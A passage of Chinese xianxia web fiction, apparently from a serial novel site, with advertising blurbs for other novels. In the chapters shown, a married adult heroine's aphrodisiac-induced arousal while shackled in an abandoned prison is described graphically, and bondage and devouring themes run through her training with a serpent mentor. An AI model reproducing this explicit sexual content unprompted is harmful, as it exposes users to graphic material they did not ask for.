  夕阳西下,桃源镇的一天在渐渐亮起的温暖灯火、四处升起的袅袅炊烟、以及弥漫在空气中的淡淡饭菜香气中悄然落幕。
  【待续】

你都1000级了,外面最高30级
易枫洛兰雪
易枫穿越到修炼世界,可惜只能当个凡人,无奈只能开个小武馆维持生活,偶尔打打铁,当个“一代宗师”混日子。直到有一天,小武馆变得热闹。几个仙风道骨的老头为易枫厨房里的菜刀争的面红耳赤……

天空之城 / 发表于: 2025/10/14 04:46:02

第5章 玄铁深狱绽娇蕊
  清晨,温柔地阳光透过窗棂洒在许墨的脸上。
  她长长的睫毛颤动了几下,缓缓睁开眼。
  经过一夜的安眠昨日累积的疲惫已消散大半,身体恢复了轻盈与活力。
  然而,胸前两点传来的隐隐钝痛,却清晰地提醒着她昨日在鱼跃潭那番荒诞而羞耻的遭遇。
  她下意识地伸手抚上胸脯,指尖轻轻掠过那依旧有些敏感肿胀的乳尖,一股混合着羞恼和微妙刺激的复杂情绪悄然泛起。
  屋子里空荡荡的,林烨显然早已起身离去。
  许墨知道他定是又外出处理事情了,对此她早已习惯,并不多问。
  她撑起身子寝衣滑落,露出光滑的肩头和胸前那对依旧傲然挺立的丰盈。
  尽管乳头不适,但双乳整体的饱满弹软,依旧让她心中泛起一丝身为女子的隐秘骄傲。
  梳洗过后,她对着镜子简单拉伸了一下身体,曲线在晨光中勾勒出惊心动魄的弧度。
  随后目光不经意间扫过床头柜,落在了那个小巧精致的琉璃瓶上——这是昨晚在幽漪的茶馆用过晚膳后那位风情万种的老板娘悄悄塞给她的。
  幽漪当时凑在她耳边,吐气如兰:“好妹妹,这个‘凝露娇蕊精华’你收着,睡前或晨起时,取一滴涂抹在……嗯,你那三点之上,”
  她的眼神暧昧地在许墨胸口和腿间扫过,“这好东西不仅能消退红肿,长期使用还能让那儿变得更加粉嫩饱满、敏感多汁呢……尤其是像妹妹这般天生丽质人儿,效果最佳。”
  许墨当时听得面红耳赤,推辞不过只好收下。
  回家后,她将瓶子拿给林烨看,林烨打开瓶塞凑近闻了闻,眉头微挑笑道:“品相不错的精华液,蕴含了些许魅惑草和情花精华。寻常女修若用了怕是立刻会欲火焚身,奇痒难耐。不过嘛……”
  他捏了捏许墨的脸蛋,“我家墨宝儿从小被各种灵药淬炼身体,抗性极高,这点药力对你来说问题不大,体验一下无妨。”
  想到夫君的话,许墨心中一动。
  她拿起琉璃瓶拔开塞子,一股清雅中带着一丝靡靡甜香的气息飘散出来。随后小心翼翼地倾斜瓶身,一滴晶莹剔透、略带粘稠的液体滴落在她纤白的指尖上。
  她对着镜子深吸一口气,目光落在自己的乳头上。
  那一对原本粉嫩的蓓蕾因昨日的过度吮吸仍显得有些红肿,像一颗受委屈的小樱桃。
  又一想到林烨昨晚在桌上边吃那鱼边评价“这鱼肉有股奶香味,你知道是怎么回事吗?”的时候更是心里来气。
  “唉……”
  许墨轻声叹气,老公的不靠谱也不是一天两天,自己如今和他同居已经半年,虽从未行房过但早已对他的言行举止已经习惯,甚至自己时不时嘴里都会脱口而出一两句抽象话。
  许墨伸出蘸着精华液的指尖,带着几分好奇与羞涩轻轻点在了那微硬的乳尖上。
  “嗯……”
  一股沁人心脾的清凉感瞬间从接触点扩散开来,如同最清澈的山泉流淌过灼热的肌肤,有效地缓解了红肿带来的不适感。
  这舒爽的感觉让她忍不住发出一声细微的呻吟。
  她指尖轻柔地打着圈,将那滴精华液均匀地涂抹在乳晕及整个乳头上。
  随着揉搓,最初的清凉渐渐转化为一种微妙的温热,仿佛有细微的电流在乳尖跳跃,带来一阵阵令人心悸的酥麻。那感觉并不强烈,却丝丝缕缕地渗入乳腺深处,让她感觉那一点变得愈发敏感、饱满,甚至隐隐有种渴望被更用力抚弄的冲动。
  看着镜中自己那侧乳头在以肉眼可见的速度变得润泽、粉嫩,红肿消退,甚至显得更加挺翘诱人,许墨心中欣喜。
  “果然有效……”
  她喃喃自语,脸颊绯红。
  有了这次成功的体验,她不再犹豫,又如法炮制,将另一滴精华液仔细涂抹在另一侧乳头上。
  同样的清凉、温热、酥麻感再次涌现,对称的快感让她身体微微发烫,呼吸也稍稍急促了几分。
  涂抹完双乳,许墨的目光不由自主地向下,落在了自己双腿之间那神秘幽谷的轮廓上。
  幽漪姐姐说的是“三点”……她咬了咬唇,内心挣扎了片刻,终究是抵不过那该死的好奇心和对“完美”的隐秘追求。
  她又倒出一点点精华液在指尖,这次,她分开双腿,对着镜子,略显笨拙地将手指探入那柔软的阴唇缝隙之间。
  指尖触碰到那颗最为敏感娇嫩的阴蒂时,她浑身一颤,一股比乳尖强烈数倍的快感电流般窜遍全身。
  她强忍着呻吟,用蘸着精华液的指尖轻轻揉搓着阴蒂以及阴唇夹缝间的每一寸软肉。
  那清凉感在此处显得格外清晰,随即转化为更炽热的暖流,向着小腹深处蔓延,带来一种空虚无依的凉意。
  她能感觉到那里的肌肤变得更加湿润、滑腻,一种陌生的、渴望被填满的空虚感悄然滋生。
  “够了……”
  她猛地收回手,心跳如鼓,迅速拧好瓶盖将这只充满了诱惑与危险的琉璃瓶放回抽屉深处。
  她不敢再看镜中那个眼波流转、面若桃花的自己,匆匆换上那套熟悉的运动服——黑色紧身长裤勾勒出笔直双腿,白色短款外套拉链依旧习惯性地只拉到胸下,露出优美的锁骨和一小片雪肌,试图用熟悉的装扮来平复体内被悄然点燃的火苗。
  出门路过村中心的大榕树时,青岑先生依旧如昨日般端坐在树下。
  “青先生早安。”
  许墨恭敬行礼。
  青岑睁开眼,目光平静地掠过她,淡淡道:“许墨,今日是否要去锐金峰?”
  许墨点头:“是的,先生。厉锋前辈需要幽冥玄铁来打造兵器。”
  “锐金峰路途遥远,以此地计算,清晨出发,抵达时也已是下午。”
  青岑说道,“镇外有一头灵鹿,是我为你准备的脚力,可助你节省些时间力气。”
  许墨心中感激,再次谢过青先生,依言走向镇外。
  果然,在镇口不远处的草地上看到了一头神骏非凡的灵鹿。
  它体型优雅,四蹄修长,毛色是罕见的月白色,在晨光下泛着柔和的光泽,尤其那对鹿角,枝杈分明,雄壮而美丽。
  许墨心生喜爱,上前几步下意识地伸出手想要抚摸一下鹿颈柔软的毛发。
  “喂!规矩点!”
  一个略显清冷的声音突然响起,带着一丝不满,“别动手动脚的!”
  许墨吓了一跳,手僵在半空,这才意识到这头灵鹿竟是能口吐人言的精怪!至少是开了灵智的“开灵期”,与过去磐石寨那尊山神属同一水准!她慌忙收回手,歉然道:“对、对不起!鹿前辈,我不知道您……”
  “无妨。”
  灵鹿甩了甩头,语气缓和了些,“我受青先生之托送你一程。不过事先说好,我只送你到锐金山地界边缘。那里是虎族的地盘,我和他们不太对付。”
  许墨连忙表示理解:“多谢鹿前辈,能送到边缘已是帮了大忙了。”
  灵鹿不再多言,示意许墨上来。许墨小心翼翼地侧身骑上鹿背抓住它光滑的皮毛。灵鹿等她坐稳,四蹄发力,并未沿着蜿蜒的山路奔跑,而是直接加速,然后猛地一跃!竟轻盈地跃上了百米高空!
  “呀——!”
  许墨猝不及防,惊呼出声。
  风声在耳边呼啸,下方的桃源镇瞬间缩小成棋盘。
  还不等她适应这失重感,灵鹿已优雅地落在远处一座山峰的顶端,蹄尖轻点,再次借力跃起!如此一起一落,跌宕起伏,如同在山峦之巅弹跳。这与她之前乘坐林烨那平稳如履平地的“大运泥头车”飞行体验截然不同,充满了野性的自由与惊险刺激。但很快,最初的惊慌被眼前壮丽的山河景色所取代。云海在脚下翻腾,群山如黛,旭日东升,金光万丈,令人心旷神怡。
  灵鹿速度极快,不多时,一片气势恢宏、与青木谷的葱郁截然不同的山脉出现在眼前。
  只见一座座山峰如同利剑般直插云霄,又像是巨大的石笋刺破苍穹,岩石裸露,泛着金属般的冷硬光泽,空气中都弥漫着一股锐利肃杀之气——锐金山到了。
  灵鹿在边缘一处平缓地带落下。
  “我只能送到这里了。”
  它回头对许墨说,“日落之前,我会在此等候。早去早回。”
  许墨跳下鹿背,再次真诚道谢。
  目送灵鹿走到一旁悠闲吃草后,她转身望向这片剑戟般的群山,深吸一口带着金属气息的空气,催动流云步,身形如一道青烟,踏着连接部分山峰的、不知存在了多少年的粗大铁索,在云层之上奔跑起来。
  衣袂飘飘,发丝飞扬,穿梭于嶙峋怪石与缭绕云雾之间,一种纵横天地、俯瞰众生的飒爽之感油然而生。但许墨并未沉醉于此,她开始集中精神,回忆昨晚林烨的叮嘱:“幽冥玄铁,颜色青黑,混在普通铁矿中肉眼难辨。但它有个最大的特性:静止时轻若无物,但一旦挥动或受到冲击,便会瞬间变得重达千钧。所以,辨别方法很简单,找到疑似目标,拿起来晃一晃,手感越重纯度越高。锐金山过去是仙魔大战时的重要武库所在地,有不少当年的锻造工坊仓库之类的地方,你随便找肯定有。”
  于是,许墨选定一处最高的山巅落在尖锐的石峰上。她并未急于盲目搜寻,而是盘膝坐下,简单调息,恢复方才赶路消耗的体力。随后,原地摆出了那个极其困难、用于深度冥想的“三折叠”姿势。身体柔韧地弯曲折叠,几乎缩成一团。
  但她并非要冥想,而是全力外放神识。
  这本是筑基期修士才能勉强尝试的手段,但许墨凭借被反复扩充、远超同阶的丹田气海以及坚韧异常的经脉,竟硬生生将神识覆盖范围扩展到了周身百米!
  她的想法简单而有效:即便半径只有百米,但只要逐个山峰顶端进行探查总能感知到异常的金铁或能量波动。
  这方法果然奏效!
  当她来到第三个目标峰顶,全力释放神识向下探查时,一股浓郁精纯的金铁肃杀之气,夹杂着一丝若有若无的古老怨念从下方山体深处隐隐传来!
  许墨心中一喜,立刻解除姿势,施展流云步,顺着陡峭山壁上突出的岩石,如同灵猿般连续跳跃,轻盈而迅速地落到了山脚下,随后果然在一处隐蔽的崖壁下发现了一个黑黢黢的洞口。
  洞内散发出强烈的金属性能量波动,那股肃杀之气几乎让许墨裸露的肌肤泛起寒意,让她下意识地打了个冷战。
  她谨慎地步入洞窟。内部光线昏暗,空气阴冷潮湿,与想象中热火朝天的锻造厂不同,这里竟是一处早已废弃的小型监牢。
  石壁开凿出一个个狭小的囚室,铁栅栏大多完好,但里面空空如也,没有骷髅,也没有毁坏的遗物,一切都像是被刻意清理过,只留下岁月沉淀的死寂。
  许墨探索一番,来到一个类似看守室的石室。
  角落里,一个看起来颇为沉重、布满灰尘的金属箱子引起了她的注意。
  箱子似乎很久未被开启过。许墨心中升起希望,快步上前,伸手想要打开箱盖。
  就在她的指尖刚刚触碰到箱盖,准备用力掀开时,异变突生!
  “嗯?啊!”
  只听“咔哒”一声脆响,箱盖边缘猛地弹出一枚连着锁链的金属镣铐,以迅雷不及掩耳之势,精准地铐住了她伸出的右手手腕!
  一股难以形容的沉重感瞬间从手腕传来,仿佛整条手臂都被坠上了千斤巨石!许墨大惊,下意识就想暴起后退,但那重量拖拽着她,让她一个趔趄,非但没退成,反而被拉得更靠近箱子。紧接着,箱子里又接连弹出数道黑影,“咔哒!咔哒!咔哒!”几声,她的左手手腕、双脚脚踝,甚至脖颈,都被同样款式的镣铐牢牢锁住!所有镣铐之间由看似不甚粗壮的青黑色锁链连接,形成了一副完整的囚锁,将她彻底禁锢!
  许墨虽惊,但经历多次“意外”后,她的心志已坚韧不少,很快强迫自己冷静下来。
  她首先尝试观察镣铐,却发现它们浑然一体,根本没有锁孔,无法以常理解开。
  接着,她尝试运足力气站起来,但那恐怖的重量再次压下,让她只能狼狈地跪坐在地上,连移动一步都异常艰难,仿佛身上背负着一座小山。
  时间一分一秒流逝,透过洞口照射进来的阳光角度逐渐偏移,眼看已近正午。
  许墨心中开始焦急,若是天黑前无法脱困,难道真要在这阴森恐怖的废弃监牢里过夜?
  恐惧和无力感袭来,加上一番挣扎,她身上不禁沁出了细密的汗珠。
  就在这时,她突然感觉到身体三处被涂抹过精华液的地方——双乳的乳尖和腿间的蜜穴,传来一阵极其怪异的、钻心蚀骨般的燥热和奇痒!
  那痒意来得如此猛烈且刁钻,仿佛有无数只蚂蚁在同时啃咬她最敏感娇嫩的肌肤,又像是有一股炽热的火焰从体内深处燃烧起来,疯狂地灼烧着她的理智。
  痒中带麻,麻中带酸,一种强烈的、空虚的渴望如同潮水般席卷了她全身每一个细胞。
  “糟了!是那精华液!”
  许墨瞬间明白了。林烨只说她对药力抗性高,却没想到这精华液的效果竟会与汗水(体液)混合后彻底激发!而且是在这种叫天不应叫地不灵的绝境之下!
  后悔如同毒蛇般噬咬着她的心,早上为何要鬼迷心窍涂抹那东西?
  但现在说什么都晚了。那催情药效如同决堤的洪水在她体内汹涌奔腾。
  乳尖变得硬挺如石子,却又痒得让她恨不得用力抓挠,可双手被缚,只能徒劳地摩擦着手腕的镣铐,带来些许隔靴搔痒般的微弱刺激,反而更添煎熬。腿心深处更是泛滥成灾,一股股热流不受控制地涌出,浸湿了薄薄的运动裤内衬,粘腻滑润。
  那隐秘的花核剧烈搏动着,疯狂地叫嚣着渴望被触摸、被填满。那股痒意,如同最狡猾的毒蛇,从三点核心向外蔓延。乳尖的痒,是尖锐的、刺痛的,仿佛有细小的针在不断扎刺那最娇嫩的顶端,又像是被羽毛最尖端反复撩拨,痒得她牙关紧咬,纤细的腰肢不受控制地微微扭动,试图通过摩擦衣物来缓解,但运动服粗糙的布料擦过敏感至极的乳尖,带来的却是更强烈的刺激和微不足道的缓解,反而如同火上浇油。她能感觉到乳头在一次次摩擦和内心的渴望中,变得更加硬胀!
  而腿间的痒则更加深邃、更加磨人。那是一种从花心深处泛滥开来的、空虚到极致的瘙痒。
  阴蒂如同一个过载的小小发电机,在湿滑的泥泞中疯狂搏动,每一次跳动都辐射出强烈的快感电流,冲击着她脆弱的神智。
  蜜穴内壁的软肉不受控制地痉挛、收缩,涌出更多滑腻的春水,将裤裆染得一片湿凉。她下意识地并拢双腿,用力摩擦,但那紧密的挤压非但不能止痒,反而模拟出一种被侵入的错觉,让那空虚感更加尖锐,渴望着被什么坚硬、滚烫的东西狠狠填满、贯穿。
  脑海中不受控制地浮现出林烨爱抚她的画面,浮现出昨日被鱼儿吮吸的怪异快感,甚至浮现出一些更加荒唐淫靡的幻想。
  她的呼吸变得灼热而急促,脸颊潮红,眼神开始迷离,粉嫩的舌尖不自觉地舔过干燥的嘴唇。
  全身的肌肤都泛起了情动的粉色,尤其是被禁锢的脖颈、手腕、脚踝处,因挣扎和情热更是浮现出诱人的红晕。
  “哈啊……嗯……”破碎的呻吟终于还是从唇边逸出。她的额头上布满了细密的汗珠,眼神迷蒙,水光潋滟,原本清澈的眸子此刻蒙上了一层情欲的薄雾。脑海中理智的壁垒正在被一波强过一波的肉欲浪潮冲击得摇摇欲坠。她仿佛能看到自己衣衫不整、双腿大张、手指疯狂抠弄蜜穴的淫靡画面,这幻想让她浑身战栗,既恐惧又……隐隐兴奋。
  身体的温度越来越高,被镣铐禁锢的地方,因为挣扎和情热,磨出了淡淡的红痕,反而增添了一种被凌虐的奇异美感。她像一条离水的鱼,在冰冷的地面上无助地扭动,锁链随着她的动作发出哗啦啦的声响,在这死寂的监牢里回荡,格外清晰,仿佛在嘲笑她的不堪。
  “不行……不能在这里……绝对不行……”
  残存的理智在呐喊。
  她并非没有自慰达到过高潮,在林烨温柔的引导下,她早已熟悉自己身体的快乐密码。
  但绝不是在这里!在这阴冷、死寂、可能死过无数人的废弃监牢!
  这种环境下被情欲支配,失去理智般自渎,那与野兽何异?她强烈的羞耻心绝不允许!
  “冷静!许墨,冷静下来!”
  她用尽最后一丝力气对自己嘶吼。绝对不能屈服!她回想起青木谷的宁静,鱼跃潭的感悟,夫君温暖的怀抱……必须找到办法对抗这该死的药力!
  突然,一个念头闪过。这监牢充斥着金铁肃杀之气,而金主肃杀。
  自己体内的情欲是由水属性精华液激发,水主润下。
  或许……可以尝试引动这里的金气入体,以金之锐利肃杀,来消耗和收敛被激发的水之淫靡?
  这是一个极其大胆且危险的想法,稍有不慎,可能未被情欲烧坏就先被锐金之气伤及经脉。但此刻许墨对自己的经脉强度非常自信,更何况当下已别无选择!
  她强忍着四肢百骸传来的瘙痒和渴望,以极大的毅力停止无谓的扭动。
  然后,开始以极其缓慢的速度调整姿势,拖着沉重的锁链,再次摆出了那个能够凝聚心神、深度内视的“三折叠”姿态。
  身体被极限折叠,敏感点不可避免地受到压迫,反而带来一阵阵更强烈的刺激让她几乎崩溃。
  但她咬紧牙关,强行将意识沉入体内,努力感知着周围环境中那无处不在的、锐利的金属能量。
  起初,只有情欲的火海在燃烧。
  但渐渐地,在她强大的意志力引导下,一丝丝微凉锋锐的气息开始如同受到吸引般透过皮肤毛孔渗入她的经脉。
  这过程如同刀割,带来全身的刺痛,却也让她混乱灼热的神智为之一清。
  她小心翼翼地引导着这微弱的金气,流向那三个情欲的爆发点。
  金气与水气相遇并非简单的抵消,而是一种更精妙的转化与收敛。肃杀的金意如同冰冷的锻锤,敲打着灼热的欲望,将其中的浮躁、淫靡之气淬炼、剥离,而那股精纯的生命能量则被金气收敛、固化,缓缓沉淀入她的丹田气海。
  在这个过程中,她的神识仿佛穿越了时空,模糊地“看”到了这监牢中曾经发生的一些片段:被关押者绝望的眼神,狱卒冷酷的面容,刀剑相交的火花,甚至是一丝若有若无的杀戮与解脱的气息……这些来自上古仙魔战场的肃杀碎片,更助长了金气的威势。
  不知过了多久,当许墨感觉体内的燥热和奇痒如同潮水般退去,神智恢复清明时她才缓缓从三折叠状态展开身体。
  汗水已经浸湿了她的运动服,紧贴在身上勾勒出诱人的曲线,但不再是情欲的汗水,而是脱力与淬炼后的虚脱。
  她抬头看向洞口,阳光已经变成了橘红色——竟然已是下午!
  虽然摆脱了春药危机,但身上的枷锁依旧还在。
  看着洞口到灵鹿等候之处那看似不远的几公里路程,许墨感到一阵绝望。
  若是平时施展流云步,几个呼吸便能到达。
  可现在,戴着这遇力则沉的诡异锁链,她连正常走路都如同背负山岳,只能一寸寸挪动。
  怎么办?难道真要爬出去?
  就在她焦虑之际,脑海中突然灵光一闪,想起了在林烨洞府中的一段往事。
  那时,林烨曾将她紧紧缚住,然后缓缓放入一个盛满粘稠乳白色液体的池子中。
  林烨说那是“非牛顿流体”,是个相当怪异的名字。
  但是许墨清楚记得当她在里面缓慢移动时,液体柔软顺从,毫无阻碍;但当她用力挣扎或快速动作时,那液体瞬间就会变得坚硬如铁,将她牢牢困住。
  林烨还笑着用一些她半懂不懂的“物理学”原理解释了一番;许墨低头看向手腕上的青黑色锁链。
  这幽冥玄铁带来的沉重感,岂不正像极了那非牛顿流体遇强则强,遇弱则弱的特性?
  而林烨当时也说过,破解非牛顿流体的方法并非用蛮力,而是用尖锐的物体快速刺击或者用极快的刀切,就能轻易突破其防御。
  “如果……我把力量凝聚于一点,瞬间爆发,像快刀切黄油一样,是不是也能暂时突破这锁链的力场禁锢?”
  一个大胆的设想在她心中成型。
  她深吸一口气,凝神静气,将全身力量灌注于双腿,仔细回忆流云步的发力技巧。
  但这次,她刻意将发力范围缩小,直到完全凝结于脚尖一点之上。
  然后,她双腿猛地蹬地!
  “嗖!”
  身影一闪,她竟真的瞬间窜出了近百米远!
  然而,就在她旧力已尽、新力未生,想要顺势迈出第二步时,那熟悉的千斤重量猛地再次压下,“噗通”一声,她结结实实地摔在了地上,尘土飞扬。
  虽然摔倒,但许墨不惊反喜!有效!真的有效!
  她缓慢地爬起来,不顾膝盖的疼痛,眼中闪烁着兴奋的光芒。再次调整呼吸,凝聚力量。
  第二次尝试,她成功连续踏出两步,跃出近两百米,然后再次摔倒。
  第三次,三步!
  第四次,四步!
  ……
  她不知疲倦地练习着,摔倒,爬起,再尝试。
  每一次摔倒都让她对发力技巧的理解更深一层。
  渐渐地,她掌握了那种将力量极度压缩后瞬间释放的诀窍,身形在山谷间化作一道断续闪烁的流光。
  当她终于能够一气呵成,连续七次闪烁,稳稳地落在锐金山地界边缘那头正在低头吃草的灵鹿面前时,灵鹿吓得猛地往后一跳,抬起前蹄,惊疑不定地看着她:“搞什么?你从哪里冒出来的?!”
  许墨慌忙道歉:“鹿前辈对不起,吓到您了。”
  虽然浑身尘土,有些狼狈,但她的心情却无比愉悦。
  这次冒险,虽然经历了春药爆发的危机和枷锁的禁锢,但她不仅凭借意志力和巧思化解了危机,还意外领悟了一种结合了流云步与瞬间爆发力的新技巧,对金属性的感悟也更深了一层。
  灵鹿打量着她身上那副显眼的镣铐,鹿眼里闪过一丝诧异,随即撇撇嘴道:“项链不错,就是看着大了点,不太衬你。要回去了吗?”
  许墨点点头。虽然这副披枷带锁的样子回村难免又会被夫君调侃,但比起昨日的狼狈,至少衣衫完整身体也无大碍,更重要的是收获巨大。
  灵鹿再次跃起,风驰电掣。
  许墨忍不住好奇问道:“鹿前辈,为何我戴着这沉重锁链,您奔跑跳跃却丝毫不受影响?”
  灵鹿一边轻盈地踏空而行,一边懒洋洋地回道:“哼,不过是刚领悟了点粗浅的‘缩地术’皮毛,看把你能的。天地之大,奥妙无穷,你这点小把戏还差得远呢。”
  许墨闻言,顿时收起了刚刚生出的一丝自满,心中凛然。
  是啊,修仙界高深莫测,自己刚刚自以为领悟绝技不过是代步的灵鹿奔走时使用的小妙招而已。
  一想到此,她诚心道:“多谢前辈指点,晚辈受教了。”
  回到村口,林烨和厉锋果然已经等在那里。
  林烨上下打量着她这副“披枷带锁”的造型,先是愕然,随即嘴角勾起一抹戏谑的笑意,刚要开口调侃,许墨立刻飞给他一个“敢笑我就咬你”的眼神。
  而一旁的厉锋,看向许墨的眼神却不再是平日的锐利或困惑而是带着毫不掩饰的赞赏。
  但他并未多说什么只是大步上前,不知从何处掏出一把看起来就非凡品的巨大铁钳,对着许墨手腕、脚踝和脖颈上的镣铐连接处,“咔嚓”几声,轻松剪断。
  然后他将那些青黑色的幽冥玄铁收走,沉声道:“材料齐了。明日你不必外出训练,一早来我铺子,看我为你锻兵。”
  许墨活动了一下终于自由的手脚,恭敬行礼:“是,多谢厉锋前辈。”
  厉锋点了点头,拎着玄铁,转身大步离去。
  林烨这才凑过来,揽住许墨的腰,低笑道:“我家墨宝儿真是越来越有本事了,连‘刑具’都玩上了?要不回去我也给你做一套‘女囚套装’如何?”
  许墨红着脸捶了他一下:“哼……还不都怪你!还有幽漪姐姐给的那瓶怪东西!哦对了,套装要做的话要能把我全身禁锢起来哦。”
  林烨哈哈大笑,牵起她的手:“依你依你,回家洗澡,然后去幽漪姐那儿吃饭!”
  夕阳西下,桃源镇里炊烟袅袅,而在奔腾不息的黑水涧中央,高跟鞋踏在礁石上,身穿黑金色旗袍的美艳女子手握长鞭,啪的一声对着河水劈下,竟将那狂暴的水流硬生生劈成两半,久久未曾合上!
  “呼……能把这‘摩西分海’做到这种程度应该够指导小墨墨了吧……足够了!哼哼……等小墨墨跟着我训练一定要把她好好绑起来把玩一番,哦不不不小墨墨真的好可爱……要怎么玩才能让她开心啊,要是太过了她不会讨厌我吧!那可不行啊!怎么办怎么办!好兴奋又好幸福!但是好紧张!啊啊啊啊啊……”
  她满嘴胡言乱语着原地蹲下捂住脸颊身体扭捏,双手指缝之间,一双金色的竖瞳闪烁着癫狂的神采。

总统夫人,晚上见!
吕涵芷
她被亲人出卖,沦为陌生男人的生子工具。五年后,她褪去青涩,成为名不见经传的插画师。一次漫展,她遇到傲娇萌宝。 “女人,乖乖跟我回家,我就让你抱大腿。一送你绝世好老公,二让你画画技能爆棚。”

天空之城 / 发表于: 2025/10/14 04:54:15

第6章 幽漪的教导与绳索的初舞
  青木谷的清晨薄雾如纱,许墨的身影在参天古木之间如同林间精灵,在铺满落叶的小径上快速穿行。
  她呼吸平稳绵长,一呼一吸间,仿佛与整个山谷的生机同步律动。
  与往日不同的是,她那一头乌黑亮丽的长发已然不见,取而代之的是一头清爽利落的及肩短发,更显得脖颈修长,五官清晰灵动。
  而在她纤细的手腕上则多了一枚看似朴素、却隐隐流动着幽光的青黑色金属编织手环——这正是她的新武器,“幽冥索”的收起形态。
  她时而疾驰,时而身形一闪,如同瞬移般出现在十几米外的树干旁,这是她新领悟的“瞬闪”技巧,正努力将其融入日常行动,使之更加纯熟。
  每一次瞬闪,手腕上的青黑色手环都微微震颤,仿佛在与主人共鸣。
  思绪不由得飘回前几日,在厉锋那灼热逼人的铁匠铺中,当那闪烁着寒光的幽冥玄铁镣铐在厉锋的巨锤和炉火中渐渐融化,化作一滩沸腾的金属液时,林烨提出了一个让许墨稍感意外却又觉得理所当然的建议:“墨宝儿,要想这兵器与你心意相通,乃至拥有成长性,最好是以你自身之物祭炉。你这头发蕴养多年,灵气充沛,我看合适。”
  许墨几乎没有犹豫,她拿起剪刀,“咔嚓”一声,干脆利落地将长发齐肩剪下。
  青丝如瀑落下,她心中并无太多不舍,反而带着些许对新生的期待。
  厉锋赞许地看了她一眼,将那头犹带着清香的发丝投入沸腾的玄铁液中。
  奇异的是,发丝并未被焚毁,反而与金属液完美融合。
  随后,厉锋启用一台结构复杂精妙的器械将融合后的液体拉制成无数根细如发丝、却坚韧无比的金属丝。
  他如同最耐心的织工,将这些金属丝编织成一条看似柔软、实则蕴含千钧之力的缆索。
  最终成品展开时仅有麦秆粗细,却能随心所欲延伸至数百米,收起时便化作这枚富有弹性的手环,真正做到了心念一动,收放自如。
  许墨第一眼就爱上了这件独特的兵器,它既是武器,亦是她的一部分。
  在兵器即将成型时,许墨曾望向林烨,眼中带着询问:“接下来关于战斗修行,是否由夫君来指导?”
  不等林烨回答,正在操控器械、满头大汗的厉锋却像是被踩了尾巴的猫对着许墨疯狂摇头,平日里锐利如刀的眼神里竟闪过一丝惊惧,仿佛回忆起了什么极其恐怖的画面。
  林烨见状,直接坦然笑道:“入门这一块,尤其是战斗,我教不了。我这人生平最是讨厌打架斗殴,能讲道理绝不动手。”
  许墨一时愣住,正感茫然之际,铁匠铺外传来一阵银铃般、却带着几分促狭的媚笑:“哈哈哈!巨阳先生讨厌战斗?这简直是猫不吃鱼、狗不吃肉、奥特曼不打小怪兽的笑话!”
  林烨面对幽漪的调侃,不以为意,反而微笑着对许墨说:“所以,我给你找了个再好不过的老师。”
  许墨瞬间明悟,目光转向倚在门边、一袭黑金华丽旗袍的美艳老板娘幽漪。
  她当即就要躬身行拜师大礼,却被幽漪一步上前,柔软冰凉的手一手揽住她的纤腰,另一手则轻佻地捏住她的下巴迫使她抬起头四目相对。
  两具成熟丰腴的女体瞬间贴近,幽漪高耸的胸脯压到许墨同样饱满的弧度上,四团软肉隔着薄薄的衣物挤压碰撞,形成一幅极其香艳的画面。
  一旁原本在看热闹的林烨忍不住啧啧咂嘴,眼中满是欣赏。
  正在忙碌的厉锋瞥了他一眼,没好气地骂道:“巨阳你个色胚大惊小怪什么?我家那口子有八个呢!”
  林烨哈哈一笑,回敬道:“你家那口子八个里头可有一个是属于你的?我家墨宝儿可是天天给我做灵乳摩卡喝!好好干你的活,下次还请你吃奶香黄金鲤。”
  厉锋闻言,脸上的肌肉带着胡子抽动了一下,怒骂道:“滚你妈的!我哪知道当初墨姑娘为了条鱼受了那么大的委屈!”
  许墨被幽漪搂在怀中,仰头看着近在咫尺的美艳脸庞。
  幽漪的身体透着蛇类特有的冰凉,但那双勾魂摄魄的眸子里却盈满了笑意,只是那笑意深处,藏着一丝属于顶级猎食者的审视与玩味。她甚至伸出分叉的舌尖,极其缓慢地舔过自己丰润的红唇,声音带着蛊惑:“呵呵呵,真是个我见犹怜的可人儿。先生就这么放心把她交给我,不怕我一口把她吞了?”
  林烨摸了摸下巴,煞有介事地摇头:“丸吞嘛……倒也不是不行,但咱可说好了,得等墨宝儿打出BOSS二阶段才行,现在吃了可不算数。”
  随即他又对许墨温和道:“墨宝儿,这位幽漪姐可是玩鞭索的高手,你好好跟她学,尽快掌握战斗技巧,咱们好解锁两界山的新地图。”
  “明白了,老公。”
  许墨乖巧回应,心中对这位神秘的老板娘兼新老师充满了好奇与一丝不易察觉的紧张。
  回忆的涟漪散去,许墨已来到了鱼跃潭边。
  潭水依旧平静如镜,倒映着四周的青山绿树,但空气中似乎弥漫着一丝不同寻常的气息。
  她左右张望,并未见到幽漪的身影,正当疑惑之际潭水中央突然无声无息地出现了一个漩涡,越来越大,转速越来越快!
  紧接着,哗啦一声巨响,一条庞然大物破水而出!
  一条足有数十米长、身躯如千年古树般粗壮的金瞳巨蟒!
  它通体覆盖着漆黑如墨、却又闪烁着暗金色光泽的鳞片,每一片都有人脸大小,在晨光下泛着冷冽的金属质感。
  巨大的蛇头缓缓低下,一双毫无感情的黄金竖瞳,如同两盏灯聚焦在岸边显得无比渺小的许墨身上。
  面对这景象许墨只是微微一怔,随即恢复了平静。
  她缓缓躬身,行了一礼,声音清越:“幽漪姐姐早安,今后请多指教。”
  巨蟒口吐人言,正是幽漪那特有的、带着一丝慵懒和磁性的声音在山谷间回荡:“墨儿妹妹见到姐姐这副本体,就一点也不害怕吗?”
  许墨抬起头,目光澄澈,摇了摇头:“夫君说过,两界山的各位既是朋友,也是家人。对家人何来害怕?”
  巨蟒的黄金竖瞳中似乎闪过一丝极淡的暖意。
  它低下头,冰凉的、分叉的猩红蛇信轻轻点了点许墨的脸颊,带来一阵奇异的触感。
  随后,它那庞大的身躯开始缓缓移动,如同最娴熟的捕猎者,一圈圈地将许墨围绕在中心。蛇身逐渐收紧,带来一种并不粗暴、却无处不在的压迫感,让许墨必须挺直脊背才能站稳。
  “姐姐之前说想要吃了你,可不是玩笑话哦。”
  幽漪的声音带着一种品评珍馐的意味,“你这先天纯阴之体,如同天地孕育的灵粹,又历经多年药浴淬炼,如今更是锻炼得肉质鲜嫩弹滑,入口即化,却又带着恰到好处的韧劲。灵力充沛纯净,味道定然是清甜中带着一丝凛冽,回味无穷。若是将你整个吞下,慢慢消化吸收,那灵力恐怕足以让我修为大涨,抵得过数百年苦修呢……真是想想都让人……哦不,让蛇垂涎欲滴啊。”
